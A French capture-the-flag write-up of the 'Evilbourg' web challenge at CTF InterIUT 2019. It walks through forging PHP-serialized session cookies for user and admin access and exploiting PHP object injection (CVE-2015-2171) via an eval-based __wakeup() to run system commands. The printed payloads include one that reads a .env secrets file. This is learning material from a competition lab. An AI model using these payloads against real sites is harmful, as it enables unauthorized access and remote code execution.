CTF InterIUT 2019

La team Tux composée de 0xShirokuma, efms et moi remportons ce super CTF à 3, car le quatrième membre n'a pas pu se rendre sur le lieu le matin même.

Étants dans le rush, nous n'avons pas fait de screen des épreuves, mais je vais faire de mon mieux pour expliquer les challenges intéressants que j'ai pu flag.

Evilbourg

Ce challenge web est composé de trois étapes (3 challenges différents sur le même site web). Merci à Remiso le crétaur de ces challs de m'avoir aidé à comprendre mieux comment exploit la CVE, j'aurais perdu beacoup trop de temps, et donc peut-être pas flag sans lui.

Partie 1 - 20pts

On arrive sur une page de connexion avec deux inputs : username et password ; le problème c'est qu'on a rien comme indice pour nous connecter. En essayant les creds basiques comme admin:admin et des injections SQL ' or 1=1;-- on comprend que le chemin à emprunter n'est pas là. La description du challenge laisse à penser qu'il va faloir forger nos cookies afin de nous connecter sans avoir d'identifiants de connexion. En effet nous avons bien un cookie sur la page : flash-session=a%3A2%3A%7Bs%3A11%3A%22Utilisateur%22%3Bi%3A0%3Bs%3A10%3A%22slim.flash%22%3Ba%3A0%3A%7B%7D%7D, en décodant les caractères en hexa : a:2:{s:11:"Utilisateur";i:0;s:10:"slim.flash";a:0:{}}. En déserialisant l'objet en JSON :

{"Utilisateur":0,"slim.flash":[]}

J'ai tout de suite modifié "Utillisateur":0; en "Utilisateur":1;, j'ai ensuite modifié mon cookie par cette valeur.

Object serialisé :
a:2:{s:11:"Utilisateur";i:1;s:10:"slim.flash";a:0:{}}
Urlencoded :
a%3A2%3A%7Bs%3A11%3A%22Utilisateur%22%3Bi%3A1%3Bs%3A10%3A%22slim.flash%22%3Ba%3A0%3A%7B%7D%7D

En actualisant la page je vois que je suis maintenant authentifié en tant qu'utilisateur, sans connaître son identifiant ou son mot de passe. En allant sur la page 'Contribution' un lien nous indique un chemin vers un git du site. En y allant, le README.md contient le flag.

flag : H2G2{N0_S4F3_T0ken}

Partie 2 - 50pts

La description du challenge nous indique de trouver une éventuelle faille dans le code du site web. La suite logique des choses serait pour nous de nous authentifier en tant qu'administrateur. Pour me faciliter la tâche j'ai cloné le git sur mon système, en cherchant un peu on trouve un fichier intéressant nommé UserRankService.php :

/**
 * Created by PhpStorm.
 * User: MATASSE
 * Date: 23/02/2019
 * Time: 13:22
 */

namespace App\Service;

class UserRankService
{

    public const ADMIN_RANK = '4dmin_H3Re!';
    public const ADMIN_TEXT= 'here you are!';
    public const USER_RANK= 'Utilisateur';
    public const USER_TEXT= 1;

    function getSessionRank(){
        if(isset($_SESSION[UserRankService::ADMIN_RANK])){
            if($_SESSION[UserRankService::ADMIN_RANK] === UserRankService::ADMIN_TEXT){
                return UserRankService::ADMIN_RANK;
            }
        }

        if(isset($_SESSION[UserRankService::USER_RANK])){
            if($_SESSION[UserRankService::USER_RANK] === UserRankService::USER_TEXT){
                return UserRankService::USER_RANK;
            }
        }

        return 'Non connecté';
    }

}

Effectivement, on trouve en clair les "creds" de l'administateur pour nous authentifier via le cookie. Le nouvel objet serialisé :

a:2:{s:11:"4dmin_H3Re!";s:13:"here you are!";s:10:"slim.flash";a:0:{}}

En modifiant le cookie on débloque un nouvel onglet dans la barre de navigation : "Confidentiel", on se rapproche. Sur cette page, on trouve le deuxième flag.

flag : H2G2{}

Partie 3 - 150pts

Sur la page vu juste avant, les notes du hacker nous indique d'exploiter la CVE-2015-2171, il n'y a malheureusement pas de documentation sur celle-ci. Tristesse. C'est sur cette partie que j'ai perdu le plus de temps, il m'a fallu comprendre cette CVE, identifier par où passer et comment l'exploiter.
Cette vulnérabilité permet à un attaquant d'exécuter du code arbitraire PHP sur le serveur en craftant spécifiquement un objet sérialisé. Comme indiqué dans la CVE, j'ai en premier lieu étudié le fichier SessionCookie.php de Slim, mais rien de très probant à première vue. L'exploit se base sur les "maghic methods" en PHP telles que __wakeup(), j'ai alors cherché une classe avec de telles méthodes afin d'exécuter mon code sur le serveur.

Après plusieurs minutes à la recherche du bon fichier, je suis allé voir du côté de l'application, dans le répertoire /app/src/Service, le fichier SystemCall.php me convient parfaitement :

namespace App\Service;

class SystemCall
{
    public $hook;
    public $result;

    function __construct($hook)
    {
        $this->hook = $hook;
    }

    function __wakeup()
    {
        $this->result = eval($this->hook);
    }

    function call()
    {
        $this->__wakeup();
    }
}

En effet, la méthode __wakeup() utilise la fonction eval(), ce qui permet d'exécuter du code. En suivant la documentation d'OWASP sur l'injection d'objet PHP, j'ai ainsi pu trouver une payload :

O:22:"App\Service\SystemCall":1:{s:4:"hook";s:13:"system('ls');";}
//result : app index.php

C'est à ce moment que j'ai su que j'étais en très bonne position pour terminer ce challenge. J'ai ensuite cherché un fichier sur le système, malgré tout il m'a fallu réflechir un peu sur le type de fichier à chercher. Depuis la partie 2 je savais que la version git était différente de celle sur le serveur de production, car il n'y a pas les flag des parties 2 et 3 sur le git. Comment faire pour avoir deux versions différentes alors que le code est le même ? Les variables d'environement. J'ai alors trouvé un fichier intéressant avec la payload O:22:"App\Service\SystemCall":1:{s:4:"hook";s:28:"system('find / -name .env');";}. Ma payload finale a été : O:22:"App\Service\SystemCall":1:{s:4:"hook";s:32:"system('cat /var/www/app/.env');";}. Le fichier contient en clair le flag de la partie 3, mais aussi celui de la partie 2.

flag : H2G2{}